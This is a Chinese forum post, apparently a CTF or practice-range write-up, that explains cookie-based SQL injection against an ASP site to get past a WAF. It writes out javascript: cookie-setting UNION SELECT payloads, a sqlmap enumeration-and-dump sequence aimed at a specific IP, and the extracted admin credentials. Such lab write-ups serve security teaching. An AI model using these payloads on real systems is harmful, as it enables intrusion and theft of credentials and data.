靶场2 绕过WAF 桐镜i

urfyyyy   ·   发表于 2018-8-22   ·   CTF&WP专版

cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,getpost的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

  相对postget方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到
Javascript语言了。另外cookie注入的形成有两个必须条件,条件1是:程序对getpost方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。

 

ASP中,request对象获取客户端提交数据常用的是getpost两种方式,同时request可以不通过集合来获得数据,即直接使用"request("name")"。但它效率低下,容易出错,当我们省略具体的集合名称时,asp是按QueryString(get),Form(post),Cookie,Severvariable,集合的顺序来搜索的。cookie是保存在客户端的一个文本文件,可以进行修改,这样一来,就可以利用Request.cookie方式来提交变量的值,从而进行注入攻击。

 

首先我们需要找到一个注入点,目前我们是使用get方式提交的参数,要更改成cookie方式提交,我们首先要访问正常的存在注入点的页面,等页面完全打开之后,我们将IE地址栏清空,然后写上:javascript:alert(document.cookie="id="+escape("x")); 这里的“id=”便是注入点中id=x”中的“id=”“escape("x")”中的“x”“id=x”中的“x”了,这两处要根据实际情况来定义。写完之后按下回车网页中会弹出一个对话框。

现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中重新打开那个注入点既是将“id=x”去掉后的,然后看是否能正常访问。

如果去掉之后能够继续访问 那么说明可以进行cookie注入,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。比如著名的单引号测试法,当然也就可以在语句上添加上手工注入的语句,达到绕过拦截的目的  

 

   document.cookie:表示当前浏览器中的cookie变量

  alert():表示弹出一个对话框,在该对话框中单击确定按钮确认信息。

  escape():该函数用于对字符串进行编码。

  cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。

 

目标站:

存在注入点,但过滤了普通注入方式,getpost方式提交的参数被waf过滤掉了关键字,导致无法输入and select等字符

http://120.203.13.75:8001/shownews.asp?id=171

http://120.203.13.75:8001/shownews.asp?id=171 and 1=1   //弹出屏蔽提示,不可以输入and之类的字符

 

正常打开目标页面后,url栏输入javascript:alert(document.cookie="id="+escape("171"));

 

再次访问http://120.203.13.75:8001/shownews.asp,发现正常显示出了http://120.203.13.75:8001/shownews.asp?id=171的页面,说明用cookie提交参数的方式访问成功了,接下来进行进一步测试

 

再次在浏览器中输入javascript:alert(document.cookie="id="+escape("171 and 1=1"));javascript:alert(document.cookie="id="+escape("171 and 1=2"));   //发现1=1返回正常,1=2返回错误,说明代码并没有对cookie方式提交的参数进行过滤。

 

继续使用cookie方式注入,猜测注入点字段:

javascript:alert(document.cookie="id="+escape("171 order by 15"));    //返回错误,直到10才正常

 

继续猜测表名:

javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin"));   //返回正常,存在admin表,并且页面中显示出了可以回显数据的字段,为2,3,7,8,9.

 

猜测表中的列名:

javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,username,3,4,5,6,7,8,9,10 from admin"));   //返回正常,有username这个字段,同样的方式猜测出了password字段。

 

爆出字段中的数据:

javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));   //用户名admin ,密码b9a2a2b5dffb918c,这种以字母和数字组成的,16/32位的加密方式通常是MD5,将其在网上解密得到welcome

 

 

注入攻击本质:

将用户输入的数据当做代码执行,这里有2个关键条件:

1.  用户可以控制输入

2.  原本程序要执行的代码,拼接了用户输入的成为一串新的代码

 

 

Sqlmap方式:

sqlmap -u “http://120.203.13.75:8001/shownews.asp”  --cookie “id=171” –-level 2   //一定要加--level 2(1,2345)测试等级,等级越高测试包括的范围越广,例如2时,会利用http头进行测试攻击,--cookie代表使用http头中的cookie进行sql注入

其他步骤一样

sqlmap -u “http://120.203.13.75:8001/shownews.asp”  --cookie “id=171” –-level 2 --dbs   //发现是acess数据库,只需要—tables就行

sqlmap -u “http://120.203.13.75:8001/shownews.asp”  --cookie “id=171” –-level 2 --tables   //爆出表名

sqlmap -u “http://120.203.13.75:8001/shownews.asp”  --cookie “id=171” –-level 2 –T “admin” --columns   //爆出列名

sqlmap -u “http://120.203.13.75:8001/shownews.asp”  --cookie “id=171” –-level 2 –T “admin” –C “username,password”  --dump  //爆出数据

 

 

HTTP头:(发送请求过去的头)

Referer:用户从该url代表的页面出发,访问当前请求的页面   ---你从哪里来

Host:请求的web服务器域名地址   ---你找的是谁

User-Agent:客户端运行的浏览器类型的详细信息   ---你用的什么浏览器

Accept:浏览器能接受的....如支持什么语言,支持什么编码,支持什么内容(htmlxhtmljpg等)  ---你能看懂啥



此目标站用弱口令也可以爆破出密码。渗透测试的方法是很多的

打赏我,让我更有动力~

0 Reply   |  Until 2018-8-22 | 992 View
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2020. All Rights Reserved. 掌控者

Powered by 掌控者